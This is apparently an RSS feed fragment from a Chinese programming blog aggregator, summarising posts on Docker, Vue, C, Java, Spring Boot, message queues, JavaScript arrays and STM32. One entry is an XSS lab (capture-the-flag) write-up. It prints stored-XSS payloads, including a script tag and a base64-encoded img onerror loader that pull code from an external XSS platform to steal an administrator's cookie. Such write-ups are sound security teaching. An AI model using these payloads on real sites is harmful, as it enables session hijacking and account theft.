      <pubDate>Thu, 08 Sep 2022 11:25:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/829472db8b993b6bb62659524e1b13b0/</guid>
      <description>详细信息 [root@centOS7 ~]# docker exec -it 3cae7605916d /bin/bash&#xA;OCI runtime exec failed: exec failed: container_linux.go:380: starting container process caused: exec: &#34;/bin/bash&#34;: stat /bin/bash: no such file or directory: unknown&#xA;老规矩：先上答案 把脚本类型 /bin/bash，尝试换为 /bin/sh 试一下，如果你想对两种shell的区别有深入了解，点击这里。&#xA;注意：&#xA;如果你在Dockerfile中引用了自定义脚本，比如：entrypoint: ./entrypoint.sh，如果没有单独给该脚本通过chmod +x ./entrypoint.sh 添加执行权限，也可能会报这个错误。&#xA;前言 在docker学习中，大部分容器进入的脚本都是/bin/bash，比如tomcat，所以不假思索的认为其他容器进入方式的脚本类型也是/bin/bash，然而这是一个误区。&#xA;解析步骤 1.首先，了解一些脚本的类型 [root@centOS7 ~]cat /etc/shells /bin/sh /bin/bash /usr/bin/sh /usr/bin/bash /bin/tcsh /bin/csh [root@centOS7 ~]# 本机脚本解释器类型有4种。最常见的是前两种 (usr)/bin/sh和(usr)/bin/bash，还有一些不是很常见的脚本类型：ash、ksh、csh、zsh等，不同的shell都有自己的特点以及用途。&#xA;2.进入Tomcat容器内部，查Tomcat启动脚本解释器类型 docker exec -it tomcat /bin/bash ls cd bin &amp;amp;&amp;amp; ls cat startup.</description>
    </item>
    <item>
      <title>给饿了么Radio 单选框添加点击事件（vue2）</title>
      <link>https://bchobby.github.io/posts/17b5eaefb951a5c091d3bd1863d390c8/</link>
      <pubDate>Thu, 08 Sep 2022 10:59:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17b5eaefb951a5c091d3bd1863d390c8/</guid>
      <description>前言 最近有一个这样的需求，当点击不合格时打开一个弹窗进行不合格数据的录入。问题点在于当你想对不合格数据进行修改时，点击不合格是没有反应的；因为Radio 单选框只提供了一个change 事件&#xA;解决 这里说明一下，项目是vue2的项目，写这个demo是vue3的项目。但是两者的情况有些不一样。&#xA;问题1 vue2&#xA;&amp;lt;el-radio-group v-model=&#34;result&#34;&amp;gt; &amp;lt;el-radio :label=&#34;0&#34; @click.native=&#34;radioClick&#34;&amp;gt;不合格&amp;lt;/el-radio&amp;gt; &amp;lt;el-radio :label=&#34;1&#34;&amp;gt;合格&amp;lt;/el-radio&amp;gt; &amp;lt;/el-radio-group&amp;gt; vue3&#xA;&amp;lt;el-radio-group v-model=&#34;result&#34;&amp;gt; &amp;lt;el-radio :label=&#34;0&#34; @click=&#34;radioClick&#34;&amp;gt;不合格&amp;lt;/el-radio&amp;gt; &amp;lt;el-radio :label=&#34;1&#34;&amp;gt;合格&amp;lt;/el-radio&amp;gt; &amp;lt;/el-radio-group&amp;gt; 在这里也发现了我的一个误解，@click 本质是一个自定义事件，只是与原生的点击事件功能上是一致的。&#xA;在vue2中有这样一句话&#xA;所以在vue2中直接@click是不生效的，因为Radio 单选框没有提供这样的事件；但是加上.native修饰符后这就是原生事件了，因此点击事件会生效。&#xA;在vue3中直接使用@click生效是因为vue3中移除了.native修饰符，@click默认就是原生的点击事件&#xA;问题2 点击事件解决了，但是该事件每次都会被触发两次。原因是因为el-radio被封装了好几层，根元素不是input，解决是在后面添加prevent&#xA;//vue2 &amp;lt;el-radio :label=&#34;0&#34; @click.native.prevent=&#34;radioClick&#34;&amp;gt;不合格&amp;lt;/el-radio&amp;gt; //vue3 &amp;lt;el-radio :label=&#34;0&#34; @click.prevent=&#34;radioClick&#34;&amp;gt;不合格&amp;lt;/el-radio&amp;gt; 至于为什么使用prevent可以解决这个问题，暂时没有找到原因&#xA;问题3 点击问题解决了，触发两次解决了，但是加上prevent后，单选框是无法被选中的。&#xA;解决：手动进行赋值&#xA;const radioClick = () =&amp;gt; { result.value = 0; console.log(&#39;点击了&#39;, result.value); }; 最终方案 看上面的动图其实可以看到还是有点小问题的，手动赋值后选中状态多了一圈，要在旁边空白地方点击一下才能变成正常的选中状态。如果不介意的话，这样就可以了，比较很简单。&#xA;还有一种解决方案，指令（yyds）&#xA;vue2&#xA;directives: { radioClick: { bind(el,binding) { // console.log(el); console.</description>
    </item>
    <item>
      <title>彻底杀死docker</title>
      <link>https://bchobby.github.io/posts/077aae88d4037bd70ec542cd1256b34c/</link>
      <pubDate>Thu, 08 Sep 2022 10:57:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/077aae88d4037bd70ec542cd1256b34c/</guid>
      <description>方法一：在命令行终端输入命令：&#xA;1&#xA;ps -aux | grep docker&#xA;从输出的信息中看看docker守护进程的PID是多少，然后用命令：&#xA;1&#xA;2&#xA;3&#xA;killall 进程名称&#xA;# 或者 kill -9 进程PID值&#xA;来杀死该进程。&#xA;方法二：使用service、systemctl 命令关闭docker守护进程&#xA;1&#xA;2&#xA;3&#xA;service docker stop&#xA;# 或&#xA;systemctl stop docker&#xA;方法二更有效</description>
    </item>
    <item>
      <title>vue-element-admin运行npm install 报错完美解决！(亲测有用)</title>
      <link>https://bchobby.github.io/posts/bd024848e195c8339fb2a36cb65d583d/</link>
      <pubDate>Thu, 08 Sep 2022 10:44:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd024848e195c8339fb2a36cb65d583d/</guid>
      <description>npm ERR! code 128 npm ERR! An unknown git error occurred npm ERR! command git --no-replace-objects ls-remote ssh://git@github.com/nhn/raphael.git npm ERR! git@github.com: Permission denied (publickey). npm ERR! fatal: Could not read from remote repository. npm ERR! npm ERR! Please make sure you have the correct access rights npm ERR! and the repository exists. npm ERR! A complete log of this run can be found in: npm ERR! C:\Users\17605\AppData\Local\npm-cache\_logs\2022-03-21T10_41_46_956Z-debug.log 网上也是看了好多文章，尝试了好几种办法，修改.gitconfig文件，配置过tb镜像，也重新配置过GitHub的ssh，还是未能解决，最后看见一篇直接删除依赖的，删除完了就解决了。&#xA;具体如下：</description>
    </item>
    <item>
      <title>vue3 TS防抖函数</title>
      <link>https://bchobby.github.io/posts/3c780af637aaad7d89c0ee4ffda2485f/</link>
      <pubDate>Thu, 08 Sep 2022 10:19:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c780af637aaad7d89c0ee4ffda2485f/</guid>
      <description>目录&#xA;封装工具&#xA;使用&#xA;封装工具 useDebounce.ts&#xA;//防抖函数 type CallbackFn = (item?: any) =&amp;gt; void let timer: any = null export default function (Callback: CallbackFn, delay = 1000) { timer != null ? clearTimeout(timer) : null timer = setTimeout(() =&amp;gt; { Callback &amp;amp;&amp;amp; Callback() //当有值才会执行 }, delay) } 使用 AreaSeach.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; 出发地区：&amp;lt;input type=&#34;text&#34; v-model=&#34;beginArea&#34; /&amp;gt; &amp;lt;div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; import { ref,watch } from &#39;vue&#39; import useDebounce from &#39;@/utils/useDebounce&#39; const beginArea=ref(&#39;&#39;) //1.</description>
    </item>
    <item>
      <title>C语言三目运算符的错误使用与踩坑</title>
      <link>https://bchobby.github.io/posts/9beb39dbdf16c82ff0b7f76d216d1990/</link>
      <pubDate>Thu, 08 Sep 2022 08:30:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9beb39dbdf16c82ff0b7f76d216d1990/</guid>
      <description> 今天用三目运算符写了这句代码：&#xA;ptrToList1-&amp;gt;data &amp;lt; ptrToList2-&amp;gt;data ? ptrToList1 = ptrToList1-&amp;gt;next : ptrToList2 = ptrToList2-&amp;gt;next; 结果报错了：&#xA;表达式必须是可修改的左值！&#xA;一时我也看不出有什么错误。&#xA;后来还是去搜了一下博客，然后意识到三目运算符的优先级别仅高于赋值运算符,而低于前面遇到过的所有运算符。&#xA;而我写的这句代码又有两个=,应该就是受到这两个等号的影响。&#xA;解决方法也很简单，加个括号完事了。&#xA;ptrToList1-&amp;gt;data &amp;lt; ptrToList2-&amp;gt;data ? (ptrToList1 = ptrToList1-&amp;gt;next) : (ptrToList2 = ptrToList2-&amp;gt;next); </description>
    </item>
    <item>
      <title>Java中如何实现文件预览的功能</title>
      <link>https://bchobby.github.io/posts/46f8c6d6825443132fdf93ad61287a63/</link>
      <pubDate>Thu, 08 Sep 2022 07:21:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46f8c6d6825443132fdf93ad61287a63/</guid>
      <description>Java中如何实现文件预览的功能 JODConverter JODConverter是一种Java OpenDocument转换器，能够转换不同格式的文档，它依赖于Apache OpenOffice或 LibreOffice ，它为OpenDocument和Microsoft Office提供了最好的免费导入/导出的过滤器。&#xA;JODConverter可以用在这几种地方：&#xA;作为一个Java类库，嵌入到你的Java应用程序中。&#xA;作为一个命令行工具，可以在你的脚本中调用。&#xA;作为一个简单的web应用，上传文档，选择转换的格式并下载转换后的版本。&#xA;可以用openoffice，实现原理就是：&#xA;通过第三方工具openoffice，将word、excel、ppt、txt等文件转换为pdf文件流；这样就可以在浏览器上实现预览了。&#xA;先去openoffice官网下载进行安装，官网地址：Apache OpenOffice - Official Download 安装完成后启动。&#xA;Maven中添加如下依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.artofsolving&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jodconverter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 将word、excel、ppt转换为pdf流的工具类代码&#xA;import com.artofsolving.jodconverter.DefaultDocumentFormatRegistry; import com.artofsolving.jodconverter.DocumentConverter; import com.artofsolving.jodconverter.DocumentFormat; import com.artofsolving.jodconverter.openoffice.connection.OpenOfficeConnection; import com.artofsolving.jodconverter.openoffice.connection.SocketOpenOfficeConnection; import com.artofsolving.jodconverter.openoffice.converter.StreamOpenOfficeDocumentConverter; import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; /** * 文件格式转换工具类 * * @version 1.0 * @since JDK1.8 */ public class FileConvertUtil { /** 默认转换后文件后缀 */ private static final String DEFAULT_SUFFIX = &#34;</description>
    </item>
    <item>
      <title>DevC&#43;&#43; 软件下载及安装教程（详细、具体）</title>
      <link>https://bchobby.github.io/posts/df67b0a8d2c34c59ea2bac99df39687e/</link>
      <pubDate>Thu, 08 Sep 2022 00:01:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df67b0a8d2c34c59ea2bac99df39687e/</guid>
      <description>写在前面 下载DevC++有多种方式，根据需求选择自己觉得更方便的下载方式。（ 这里建议 优先选择 “下载方式1”，比较方便 ），具体根据你的需求而定。&#xA;安装程序下载完成后，根据第二部分的 “安装步骤” 进行安装即可。&#xA;一、软件下载 DevC++是一款功能强大的C/C++语言编译器，不仅界面美观、可操作性高、使用方便，最最重要的是它还是免费的。&#xA;1.下载方式一（sourceforge官网下载，建议优先选择下载此版本） 从sourceforge官网上下载，(提示：SourceForge 是全球最大开源软件开发平台和仓库，网站建立的宗旨，就是为开源软件提供一个存储、协作和发布的平台，拥有大量非常优秀的开源软件），下载完记得来看安装教程哦，链接如下：&#xA;Dev-C++ download | SourceForge.net （链接）&#xA;如下图所示：&#xA;点击下载后，等待几秒便会弹出下载提示，下载完成后根据第二部分安装步骤进行软件的安装即可。&#xA;2.下载方式二（从Bloodshed官网下载） 从 Bloodshed 官网下载，（提示：bloodshed是免费软件组织，其主要作品有Dev C++），下载完记得来看安装教程哦，链接如下：&#xA;​​​​​​​ ​​​​​​​ “DevC++软件下载Bloodshed官网（免费）”（点击跳转）&#xA;如下图所示：&#xA;点击 Free Download 按钮进行下载。 3.下载方式三（从embarcadero官网下载） 从embarcadero官网下载，（提示：Embarcadero Dev-C++ 是 Bloodshed Dev-C++ 和 Orwell Dev-C++ 的一个新的和改进的分支（由 Embarcadero 赞助）。它是用于 C/C++ 编程语言的全功能集成开发环境 (IDE) 和代码编辑器。它使用 GCC (GNU Compiler Collection) 的 Mingw 端口作为编译器。Embarcadero Dev-C++ 也可以与 Cygwin 或任何其他基于 GCC 的编译器结合使用。Embarcadero Dev-C++ 是使用最新版本的 Embarcadero Delphi 构建的），下载完记得来看安装教程哦，链接如下：&#xA;​​​​​​​ DevC++软件embarcadero官网下载（链接）</description>
    </item>
    <item>
      <title>安鸾靶场之XSS漏洞实操</title>
      <link>https://bchobby.github.io/posts/ffa477d41c384cd0521fbf5dd3adcc0f/</link>
      <pubDate>Wed, 07 Sep 2022 21:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffa477d41c384cd0521fbf5dd3adcc0f/</guid>
      <description>当应用程序发送给浏览器的页面中包含用户提交的数据，但没有经过适当验证或转义时，就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性，而不是缺陷。会造成Cookie窃取、劫持用户Web行为、结合CSRF进行针对性攻击等危害。&#xA;XSS类型 1、反射型 出现在搜索栏，用户登录等地方，常用来窃取客户端的Cookie进行钓鱼欺骗。(需要用户去点击)&#xA;想要窃取cookie要满足两个条件：&#xA;1、用户点击攻击者构造的URL&#xA;2、访问被攻击的应用服务(即存在xss的网站)&#xA;2、存储型 出现在留言、评论、博客日志等交互处，直接影响Web服务器自身安全。攻击者将恶意代码存储到服务器上，只要诱使受害者访问被插入恶意代码的页面即可触发。&#xA;3、DOM型 DOM 型 XSS是基于文档对象模型（Document Objeet Model，DOM，用于将 Web 页面与脚本语言连接起来的标准编程接口）的一种漏洞，它不经过服务端，而是通过 URL 传入参数去触发，因此也属于反射型 XSS。&#xA;安鸾靶场实操 1、存储型XSS 111&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(&#34;xss&#34;)&amp;lt;/script&amp;gt;&amp;gt; 按F12查看页面代码，即可看到插入的恶意js代码，没有经过任何处理直接返回了，并且在用户访问此页面时，会自动触发&#xA;由此，此处留言板存在存储型XSS漏洞。由题可知，管理员每5分钟会上线，并访问此页面清除数据。所以我们可以利用XSS平台获取到管理员的cookie，并登录。&#xA;进入管理员用户页面，即可找到flag&#xA;2、交友平台 当插入代码&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(&#34;xss&#34;)&amp;lt;/script&amp;gt;时，会触发弹窗，所以此处存在存储型XSS漏洞。&#xA;将以下代码提交，使xss平台能获取到管理员的cookie再把此页面的url提交到bug反馈中，此时我们看到，需要验证码，且验证码进行md5加密之后的前六位等于a1c3e9&#xA;&amp;lt;/textarea&amp;gt;&amp;lt;script src=https://xss9.com/217l&amp;gt;&amp;lt;/script&amp;gt; 此时我们使用php脚本来撞验证码&#xA;&amp;lt;?php for ($i=1; $i&amp;lt;=99999999; $i++){ if (substr(md5($i), 0, 6)==&#34;a1c3e9&#34;){ echo $i.PHP_EOL; } } ?&amp;gt; 结果如下，随便取一个值填入，等待一分钟即可获取到管理员的cookie，登陆管理员账号就可找到cookie&#xA;3、XSS挖掘与绕过 登录进去，给管理员私信，首先我们发送&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(&#34;xss&#34;)&amp;lt;/script&amp;gt;来验证是否存在XSS漏洞，发现代码被过滤&#xA;由此我们看出来后端在处理传入的参数时，过滤了script，在sc和rpt之间插入了其他字符，但我们可以使用img标签绕过&#xA;&amp;lt;/textarea&amp;lt;img src=1 οnerrοr=alert(&#34;xss&#34;);&amp;gt; 正常显示弹框&#xA;此时我们可以利用img标签来构造&#xA;&amp;lt;img src=x οnerrοr=eval(atob(&#39;s=createElement(&#39;script&#39;);body.appendChild(s);s.src=&#39;https://xss9.com/217l&#39;+Math.random()&#39;))&amp;gt; &amp;lt;img src=x οnerrοr=eval(atob(&#39;cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzczkuY29tLzIxN2wnK01hdGgucmFuZG9tKCk=&#39;))&amp;gt; 将经过编码的恶意代码私信给管理员，等待5分钟即可在xss平台获取到管理员的cookie，就可登陆后台寻找flag</description>
    </item>
    <item>
      <title>关于springboot常见面试题整理笔记</title>
      <link>https://bchobby.github.io/posts/e351d1d0f0c8dbbb8e10bf2283e7f9d7/</link>
      <pubDate>Wed, 07 Sep 2022 20:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e351d1d0f0c8dbbb8e10bf2283e7f9d7/</guid>
      <description>1、什么是spring boot，它主要有哪些优点&#xA;Springboot是spring的子项目，称为一站式解决方案，集成了外部很多的优秀的框架，如常用的mysql、jdbc。&#xA;主要优点：通过maven导入各种jar包，可以减少jar包的冲突；屏息了繁琐的xml配置文件；集成的开发框架，可以做到开箱即用&#xA;2、spingboot核心注解有哪些，都代表什么意思&#xA;核心注解主要包含3个：&#xA;1、@SpringBootConfiguration：实现配置文件功能&#xA;2、@EnableAutoConfiguration:开启自动配置功能&#xA;3、@ComponentScan:组件扫描&#xA;3、springboot中如何解决跨域问题&#xA;跨域都是通过前端JSONP来解决，但只能处理get类型请求，像post、put、delete就不支持，所以一般采用后端跨域通过WebMvcConfiguration接口来重写addCorsMappings方法，解决跨域问题。&#xA;4、在springboot微服务设计中，如何实现session共享&#xA;在微服务中，因为一个项目被拆分成多个子项目，导致内存中的session不一致，所以可以采取spring session+redis方式，将session统一保存在redis中。&#xA;5、springboot需要独立的容器启动项目吗&#xA;不需要，springboot自带tomcat、jetty。&#xA;6、springboot运行方式有几种&#xA;一般有三种，将springboot打包发到容器中；也可直接运行main主方法；也可以mavern插件运行。&#xA;7、在springboot工程中，无需重启系统，实现项目更新&#xA;这就涉及到springboot热部署的问题，只需安装devtools工具包，就能实现修改后的文件，通过Ctrl+F9来实现热更新&#xA;8、YAML在springboot中的作用&#xA;使得springboot配置文件更加有层次感，结构也比较清晰，不容易混淆，目前也是人类可读的数据序列化语言。&#xA;9、在spingboot配置环境文件中，它们的加载顺序是什么&#xA;排序：properties文件、yaml文件、系统环境变量、命令参数等配置文件</description>
    </item>
    <item>
      <title>三种常见mq的优缺点比较</title>
      <link>https://bchobby.github.io/posts/66c23e511a4a68c32e71c8071a10d5bf/</link>
      <pubDate>Wed, 07 Sep 2022 20:19:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66c23e511a4a68c32e71c8071a10d5bf/</guid>
      <description>共同的优缺点: 优点:解耦系统,异步化,削峰 缺点:系统可用性降低,复杂度增高,维护成本增高 MQ,保证最终一致性 同时保证消息的处理的幂等性,保证broker的高可用 优点： 1.实现简单,改造成本低 2.性能高,没有全局锁 缺点 1.弱一致性,需要保证强一致性不适用 2.消费者消费失败,需要额外接口写生产者回滚逻辑 1.Rabbitmq a.安装和启动 docker pull rabbitmq:3.8.15-management docker run -d --name xd_rabbit -e RABBITMQ_DEFAULT_USER=admin -e RABBITMQ_DEFAULT_PASS=password -p 15672:15672 -p 5672:5672 rabbitmq:3.8.15-management 概念:一个开源的amqp实现，服务端使用erlang语言开发,支持多种客户端,主要用于消息的存储转发,具有较高的易用性,扩展性,高可用性 优点:RabbitMq自带延迟队列,更符合这块业务，比如定时任务,分布式事务处理 消息发送完整流程: 生产者将消息发送到exchange,交换器将消息路由到一个或多个队列中,交换机有多个类型,交换机和队列通过路由键进行绑定,如果消息拥有的路由键和交换机匹配,消息就会被路由到队列中 基本概念: 交换器:常见的交换机主要有Direct exchange、Fanout exchange、Topic exchange Direct exchange:将一个队列绑定到交换机上,要求该消息与一个特定的路由键完全匹配 Fanout Exchange:只需要简单的将队列绑定到交换机上,一个发送到与该交换机绑定的所有队列都会收到消息 不处理路由键 Topic Exchange通配符:主题交换机是一种发布订阅模式.将路由键和某模式进行匹配,此时队列需要绑定到一个模式上， #匹配一个或多个词,* 匹配不多不少一个词 使用场景:商家和客户订单数据冗余双写问题 ACK机制:消费者从rabbitmq接收到消息,并处理完成后,反馈给rabbitmq,rabbitmq接收到反馈才将消息从队列中删除 常见面试题 Rabbitmq为什么需要信道,为什么不TCP直接通信: 1.TCP的创建和销毁开销特别大,创建需要三次握手,销毁需要四次挥手 2.如果不用信道,那么应用程序会以TCP连接rabbitmq,高峰时每秒上千万的链接造成资源浪费,并且操作系统每秒处理的tcp连接数也是有限的,必将造成性能瓶颈. 3.信道的原理是一个线程一条通道,多个线程多个通道同用一个tcp链接,一条tcp链接可以容纳无限的信道. 死信队列: 死信交换机:消息成为死信消息后,会被放到新的交换机,这个交换机就是死信交换机 几种情况会成为死信？ 1.消费者拒收消息,并且没有重新入队 2.超时未被消费 3.消息队列超过极限 2.Kafka 1.概念:apache软件基金会开发的一个开源流处理平台,kafka是一种高吞吐量的分布式发布订阅消息系统,它可以处理大规模的网站中的所有动作流数据(网页浏览.搜索和其他用户行为),副本集机制,实现数据冗余,保障数据尽量不丢失 支持多个生产者和消费者,不支持批量和广播消息 特点:高吞吐量,低延迟,每秒可以处理几十万消息 高并发:支持几千万客户端同时读写 容错性:多副本,多分区,允许集群中节点失败 扩展性强：支持热扩展 最大优点:单机写入tps约在百万条/s，吞吐量高 kafka2.</description>
    </item>
    <item>
      <title>JavaScript数组操作方法大全（包含es6）</title>
      <link>https://bchobby.github.io/posts/25ee9921f78abe4478cc329187fa799f/</link>
      <pubDate>Wed, 07 Sep 2022 17:17:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25ee9921f78abe4478cc329187fa799f/</guid>
      <description>Array方法大全 方法名称使用简介备注new Array(length)构造函数，定义数组，传入length构造出来的数组只有length，其中对象为emptyArray.of()将一组值转化为数组Array.isArray()判断是否为数组对象Array.from()将伪数组转为数组传入str会将其一个个分割成字符串&#xA;传入的对象必须有length属性toString()将数组转为字符串，用,分割arr.join(separate)将数组转为字符串，可以指定分割符arr.push(values)向数组最后一位添加返回推入元素后数组lengtharr.pop()推出数组最后一位元素返回被推出元素arr.shift()删除数组最前面的元素只能删一个，返回值是被删除元素arr.unshift(values)从前面添加元素，可以添加多个返回值是添加后数组lengtharr.reverse()反转数组改变原数组arr.sort(compare)数组排序需要传入compare函数，改变原数组arr.concat(newArr)拼接数组不改变原数组，返回副本arr.sclie(start,end)剪切数组，局部复制不改变原数组，返回副本arr.splice(start,end,element)操作数组改变原数组arr.includes(value)判断元素是否存在数组中返回布尔值arr.copyWithin(index)将制定位置的数组复制到其他位置，会覆盖原数组项，返回当前数组arr.flat(pily)拉平数组,pily表示要拉平的层数arr.flatMap子项拉平arr.indexOf(value)查找元素在数组中第一次出现的位置返回索引值，找不到返回-1arr.lastIndexOf(value)从后向前找返回索引值，找不到返回-1arr.forEach(callback)迭代数组没有返回值arr.some(callback)迭代判断数组中每个元素是否符合callback中return的条件(callback返回值为布尔值)，有一项符合就返回true返回布尔值arr.every(callback)迭代判断数组中每个元素是否符合callback中return的条件，全部符合返回truearr.find(callback)迭代判断数组中每个元素是否符合callback中return的条件(callback返回值为布尔值)，返回第一个符合条件的元素不同于every，some，返回的是符合条件的第一个元素arr.findIndex(callback)迭代判断数组中每个元素是否符合callback中return的条件(callback返回值为布尔值)，返回符合条件的第一个元素索引arr.filter(callback)迭代判断数组中每个元素是否符合callback中return的条件(callback返回值为布尔值)，返回符合条件的所有元素索引不同于find，返回的是所有元素arr.map(callback)callback所有返回值作为一个新数组返回不改变原数组reduce(callback(prev,cur))callback可以获取前一个元素和后一个元素fill()填充数组arr.keys()遍历数组键名arr.values()遍历数组键值arr.entries()遍历数组键值以及键名 定义数组 两种方式:字面量，以及new Array&#xA;new Array new Array(length),这种方式定义的数组是只有空对象的，想要快速填入值要使用fill方法&#xA;Array.of 将一组值转换成数组，类似于声明数组&#xA;let str = &#39;11&#39; console.log(Array.of(str));//[&#39;11&#39;] console.log(new Array(2));//[](length = 2) console.log(Array.of(2));//[2] 数组与字符串 toString() 将数组转为字符串，并且用,分割&#xA;let str = [1,2,3,4] console.log(str.toString());//1,2,3,4 Array.from()将伪数组转为数组 es6&#xA;将伪数组转为数组，注意需要转化的对象必须要有length属性&#xA;/** * Array.from * 将伪数组转为数组，注意需要转化的对象必须要有length属性 * @type {string} */ //转化字符串 let str = &#39;12345&#39; console.log(Array.from(str));//[&#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;4&#39;, &#39;5&#39;] //转化对象，必须要有length属性 let obj = { 0:&#39;a&#39;, 1:&#39;b&#39;, length:2 } console.log(Array.from(obj));//[&#39;a&#39;, &#39;b&#39;] join将数组转化为字符串，可以指定分割符 let arr = [1,2,3,4,5] console.</description>
    </item>
    <item>
      <title>STM32物联网项目-低功耗模式</title>
      <link>https://bchobby.github.io/posts/3c52bbd459262c5f36a3a54600c99ff0/</link>
      <pubDate>Wed, 07 Sep 2022 17:11:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c52bbd459262c5f36a3a54600c99ff0/</guid>
      <description>低功耗模式 电源框图 VDD供电区域一般为2V ~ 3.6V，经过电压调节器可降压到1.8V给CPU核心、存储器和内置数字外设供电，为了降低CPU的功耗，&#xA;后备供电区域可由电池供电，输入引脚为VBAT&#xA;STM32各种电源 STM32的低功耗模式 STM32F10xxx有三种低功耗模式：&#xA;睡眠模式：Cortex™-M3内核停止，所有外设包括Cortex-M3核心的外设，如NVIC、系统时钟(SysTick)等仍在运行&#xA;停止模式：所有的时钟都已停止&#xA;待机模式：1.8V电源关闭&#xA;模式从上到下功耗越低，但唤醒条件越严格&#xA;此外，在运行模式下，可以通过以下方式中的一种降低功耗：&#xA;降低系统时钟。时钟频率越慢功耗越低，例如平时使用芯片时的系统时钟频率都是72MHz，这能满足绝大部分外设的要求，但如果是点个流水灯，又想要低功耗，就没必要使用72MHz的，用8M或者更低能运行的话就用低点的，关闭APB和AHB总线上未被使用的外设时钟。 低功耗模式下的自动唤醒（AWU） 低功耗模式下的自动唤醒（AWU）在STM32F1是没有的，在F4是有的，但F1可以通过RTC闹钟事件来唤醒&#xA;如下面STM32F4的RTC框图，就有16位的唤醒自动重载寄存器，可以通过设定值来唤醒&#xA;实验目标 触摸按键1被按下，则系统进入睡眠模式，点击触摸按键4退出睡眠模式；&#xA;触摸按键2被按下，则系统进入停止模式，点击触摸按键4退出停机模式；&#xA;触摸按键3被按下，则进入待机模式，通过复位按键退出待机模式；&#xA;CubeMX配置 按键外部中断的配置，LED灯作系统的指示作用，拉低WIFI模块的使能脚，不然模块会耗电&#xA;初始化串口1，用于打印信息&#xA;程序 stm32f1xx_hal_pwr.h 下面是进入低功耗模式的三个HAL库函数，可以直接调用&#xA;/* Low Power modes configuration functions ************************************/ void HAL_PWR_EnterSTOPMode(uint32_t Regulator, uint8_t STOPEntry);&#x9;//进入停止模式 void HAL_PWR_EnterSLEEPMode(uint32_t Regulator, uint8_t SLEEPEntry);&#x9;//进入睡眠模式 void HAL_PWR_EnterSTANDBYMode(void);&#x9;//进入停机模式 进入或退出睡眠模式 以WFI进入睡眠模式后，是可以通过任意一个中断来唤醒的，这里就需要注意了，平时使用的延时函数HAL_Delay()是以SysTick滴答定时器来作为时基的，并且NVIC中默认已经开启了SysTick的中断，如果直接在主函数中调用HAL_PWR_EnterSLEEPMode函数进入睡眠模式的话，SysTick滴答定时器的中断就会立马唤醒系统，达不到低功耗的效果；所以在进入睡眠模式之前，需要先关闭SysTick的中断&#xA;同理，系统中开启的用户中断也要关闭，如定时器，外部中断等，可以留某些中断用于退出睡眠模式&#xA;进入睡眠模式函数&#xA;这里可以记住几个函数，有个印象，除了定时器其他的平时都少用，但要用的时候又难找&#xA;停止SysTick中断函数——HAL_SuspendTick()&#xA;停止定时器6中断——HAL_TIM_Base_Stop_IT(&amp;amp;htim6)&#xA;关闭外部中断——HAL_NVIC_DisableIRQ(EXTIx_IRQn)&#xA;恢复Systick中断——HAL_ResumeTick()&#xA;恢复(启动)定时器6中断——HAL_TIM_Base_Start_IT(&amp;amp;htim6)&#xA;恢复外部中断——HAL_NVIC_EnableIRQ(EXTIx_IRQn)&#xA;进入睡眠模式后，通过触摸按键4，触发外部中断，可退出睡眠模式&#xA;/* * @name Enter_Sleep_Mode * @brief 进入睡眠模式 * @param None * @retval None */ static void Enter_Sleep_Mode() { /*注意：任一中断都可以将系统从睡眠模式中唤醒*/ //需要先关闭Systick和定时器6的中断，否则进入睡眠模式后立马被唤醒 HAL_SuspendTick(); //停止Systick中断 HAL_TIM_Base_Stop_IT(&amp;amp;htim6); //停止定时器6中断 //关闭外部中断0至2，只允许触摸按键4外部中断退出睡眠模式 HAL_NVIC_DisableIRQ(EXTI0_IRQn); HAL_NVIC_DisableIRQ(EXTI1_IRQn); HAL_NVIC_DisableIRQ(EXTI2_IRQn); //以WFI进入睡眠模式，可以被任一中断唤醒 HAL_PWR_EnterSLEEPMode(PWR_MAINREGULATOR_ON,PWR_SLEEPENTRY_WFI); //恢复中断 HAL_ResumeTick(); //恢复Systick中断 HAL_TIM_Base_Start_IT(&amp;amp;htim6); //恢复定时器6中断 //恢复外部中断0至2 HAL_NVIC_EnableIRQ(EXTI0_IRQn); HAL_NVIC_EnableIRQ(EXTI1_IRQn); HAL_NVIC_EnableIRQ(EXTI2_IRQn); } 进入睡眠模式函数的参数说明 /** * @brief Enters Sleep mode.</description>
    </item>
    <item>
      <title>echarts 堆叠柱状图 顶部圆角效果</title>
      <link>https://bchobby.github.io/posts/e973f081c824d6abd09dc2f7d8216be2/</link>
      <pubDate>Wed, 07 Sep 2022 16:29:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e973f081c824d6abd09dc2f7d8216be2/</guid>
